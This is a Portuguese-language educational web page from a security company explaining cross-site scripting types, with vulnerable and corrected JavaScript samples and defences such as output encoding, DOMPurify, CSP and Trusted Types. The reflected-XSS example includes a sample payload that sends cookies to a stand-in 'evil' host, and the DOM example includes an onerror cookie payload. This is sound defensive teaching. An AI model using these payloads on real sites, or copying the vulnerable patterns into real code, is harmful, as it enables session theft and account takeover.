Cross-Site Scripting (XSS) é uma das falhas de injeção mais persistentes da web: o atacante consegue fazer o navegador da vítima executar JavaScript que não deveria estar ali. O resultado vai de roubo de sessão a tomada completa de conta. Esta página explica os três tipos de XSS, mostra exemplos de código vulnerável e seguro e descreve a prevenção definitiva baseada em codificação de saída contextual, Content Security Policy e frameworks que escapam por padrão.

O que é XSS

XSS é uma vulnerabilidade em que dados controlados pelo atacante são incluídos em uma página sem o tratamento adequado, fazendo com que o navegador interprete esses dados como código (HTML ou JavaScript) em vez de texto. A falha pertence à categoria A03:2021 - Injection do OWASP Top 10 e é catalogada como CWE-79: Improper Neutralization of Input During Web Page Generation.

A causa raiz é sempre a mesma: a aplicação confunde dado com código. Quando o conteúdo enviado por um usuário cruza uma fronteira de interpretação (do HTML para o JavaScript, do JavaScript para o DOM, da URL para o atributo) sem ser codificado para aquele contexto específico, o navegador executa o que era para ser apenas exibido.

O ponto crítico, e a fonte de quase todo erro de prevenção, é que XSS não se resolve só na entrada. A mesma string é inofensiva em um contexto e perigosa em outro. A defesa correta acontece na saída, no momento em que o dado é escrito em uma página, e depende do contexto exato em que ele aparece.

Os três tipos de XSS

1. XSS Refletido (Reflected)

O payload viaja em uma requisição (tipicamente um parâmetro de URL ou de formulário) e é refletido de volta na resposta imediata, sem passar por armazenamento. É entregue via link malicioso, e-mail de phishing ou formulário forjado. Cada vítima precisa ser induzida a disparar a requisição.

// VULNERÁVEL: parâmetro concatenado direto no HTML
app.get('/busca', (req, res) => {
  const termo = req.query.q;
  res.send('<h1>Resultados para: ' + termo + '</h1>');
});
// Ataque: /busca?q=<script>document.location='https://evil/?c='+document.cookie</script>
// SEGURO: codificação de saída para contexto HTML
const escapeHtml = (s) => s.replace(/[&<>"']/g, c => ({
  '&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'
}[c]));
res.send('<h1>Resultados para: ' + escapeHtml(termo) + '</h1>');

2. XSS Armazenado / Persistente (Stored)

O payload é gravado no servidor (banco de dados, comentário, perfil, log exibido em painel) e servido a todos que visualizam aquela página. É o tipo mais grave, porque não exige interação dirigida: basta a vítima abrir a página contaminada. Um único comentário malicioso pode atingir milhares de usuários, inclusive administradores.

// VULNERÁVEL: comentário renderizado como HTML cru
const comentarios = await db.getComentarios();
const lista = comentarios.map(c => '<li>' + c.texto + '</li>').join('');
res.send('<ul>' + lista + '</ul>');
// SEGURO: codificar na saída (e validar/sanitizar na entrada como reforço)
const lista = comentarios.map(c => '<li>' + escapeHtml(c.texto) + '</li>').join('');

3. XSS Baseado em DOM (DOM-based)

Aqui a injeção acontece inteiramente no navegador: um script do lado cliente lê uma fonte controlável (location.hash, location.search, document.referrer) e a escreve em um sink perigoso (innerHTML, document.write, eval) sem codificação. O servidor pode nunca ver o payload, o que torna a detecção mais difícil.

// VULNERÁVEL: fonte do DOM escrita em sink perigoso
const nome = decodeURIComponent(location.hash.slice(1));
document.getElementById('saudacao').innerHTML = 'Olá, ' + nome;
// Ataque: pagina#<img src=x onerror=alert(document.cookie)>
// SEGURO: usar API que trata como texto, não como HTML
document.getElementById('saudacao').textContent = 'Olá, ' + nome;

Tipos, onde ocorrem e como prevenir

TipoOnde o payload entra/viveOnde executaPrevenção principal
RefletidoParâmetro de requisição (URL/form), refletido na respostaServidor monta o HTMLCodificação de saída contextual + CSP
ArmazenadoBanco de dados, comentários, perfis, logsServidor renderiza para todos os leitoresCodificação de saída + sanitização (DOMPurify) + validação de entrada
DOM-basedFontes do cliente (hash, search, referrer)JavaScript no navegador (innerHTML, eval)APIs seguras (textContent), evitar sinks perigosos, Trusted Types

Impacto: por que XSS é grave

Quando um atacante executa JavaScript no contexto de origem da aplicação, ele herda os privilégios da sessão do usuário. Os impactos típicos:

  • Roubo de sessão e cookies: ler document.cookie e exfiltrar o token de sessão, permitindo personificar a vítima.
  • Tomada de conta (account takeover): trocar e-mail, senha ou MFA usando a sessão autenticada da vítima, sem precisar da senha.
  • Keylogging e captura de formulários: interceptar tudo que a vítima digita, incluindo credenciais e dados de cartão.
  • Defacement e phishing in-page: alterar a página para enganar a vítima ou pedir credenciais em um formulário falso dentro do domínio legítimo.
  • Pivô e propagação: em XSS armazenado, o script pode se replicar (worm) e escalar de usuário comum a administrador.

Prevenção definitiva

Codificação de saída contextual

É a defesa central, conforme o OWASP XSS Prevention Cheat Sheet. Cada contexto de inserção exige um esquema de codificação diferente, e usar o errado não protege:

  • Contexto HTML (corpo de elemento): codificar & < > " ' para entidades.
  • Contexto de atributo HTML: sempre usar aspas e codificar para entidades; atributos sem aspas são especialmente perigosos.
  • Contexto JavaScript (dentro de <script> ou handlers): codificação Unicode \uXXXX; nunca interpolar dado direto em JS.
  • Contexto URL (parâmetros, href): aplicar encodeURIComponent e validar o esquema (bloquear javascript:).
  • Contexto CSS: evitar dados dinâmicos em estilos; quando inevitável, restringir a uma allowlist estrita.

Frameworks que escapam por padrão

React, Angular e Vue codificam saída automaticamente quando você usa o fluxo normal (JSX, interpolação {{ }}). Isso elimina a maioria dos XSS. O risco está nos escapes deliberados:

// React: dangerouslySetInnerHTML desliga a proteção
<div dangerouslySetInnerHTML={{ __html: htmlDoUsuario }} /> // PERIGO

// Angular: bypassSecurityTrust* marca conteúdo como confiável
this.sanitizer.bypassSecurityTrustHtml(htmlDoUsuario); // PERIGO

Toda vez que esses mecanismos forem necessários, o conteúdo deve passar antes por um sanitizador robusto.

Sanitização com DOMPurify

Quando a aplicação precisa exibir HTML rico vindo do usuário (editor de texto, markdown renderizado), não basta escapar, é preciso sanitizar com uma biblioteca testada como o DOMPurify, que remove scripts e atributos de evento mantendo a marcação segura:

import DOMPurify from 'dompurify';
const limpo = DOMPurify.sanitize(htmlDoUsuario);
elemento.innerHTML = limpo; // seguro

Content Security Policy (CSP)

A CSP é a segunda camada de defesa: mesmo que um XSS passe, ela pode impedir a execução do script injetado. Uma política baseada em nonce ou hash bloqueia scripts inline não autorizados, conforme a documentação do MDN:

Content-Security-Policy: default-src 'self';
  script-src 'self' 'nonce-r4nd0m';
  object-src 'none'; base-uri 'none'

Evite 'unsafe-inline' e 'unsafe-eval', que anulam o benefício. A CSP é defesa em profundidade, não substituto da codificação de saída.

Trusted Types

Para XSS baseado em DOM, a API Trusted Types (ativada via CSP require-trusted-types-for 'script') força que sinks perigosos como innerHTML só aceitem objetos produzidos por uma política aprovada, eliminando estruturalmente a classe de bugs de DOM XSS em navegadores compatíveis.

Cookies: HttpOnly e SameSite

Marcar o cookie de sessão como HttpOnly impede que JavaScript leia o token via document.cookie, neutralizando o vetor mais comum de roubo de sessão. SameSite e Secure complementam a postura. Não previnem o XSS, mas reduzem drasticamente o impacto.

Testes e verificação

Defesa precisa ser comprovada. Combine:

  • DAST (testes dinâmicos) com payloads de XSS contra os pontos de entrada da aplicação.
  • SAST e linters que sinalizam innerHTML, dangerouslySetInnerHTML, eval e concatenação de HTML.
  • Revisão de código focada em cada fronteira de contexto e em todo uso de escape deliberado de framework.
  • Pentest manual para os casos que ferramentas automáticas não pegam, especialmente DOM XSS.

Como a Decripte ajuda

A Decripte é uma empresa B2B de cibersegurança que atende de 1 a mais de 100.000 colaboradores. Nossa prática de AppSec e pentest identifica e corrige XSS em todos os seus tipos, valida a codificação de saída contextual, revisa políticas de CSP e Trusted Types e integra testes de segurança ao ciclo de desenvolvimento, para que a proteção contra injeção seja contínua e não pontual.

Quer começar a mapear sua superfície de risco sem custo? Comece grátis pelo nosso Intelligence Center ou conheça os planos de segurança de aplicações da Decripte.

Referências

  • OWASP - Cross Site Scripting Prevention Cheat Sheet
  • OWASP Top 10 - A03:2021 Injection
  • CWE-79: Improper Neutralization of Input During Web Page Generation
  • MDN Web Docs - Content Security Policy (CSP)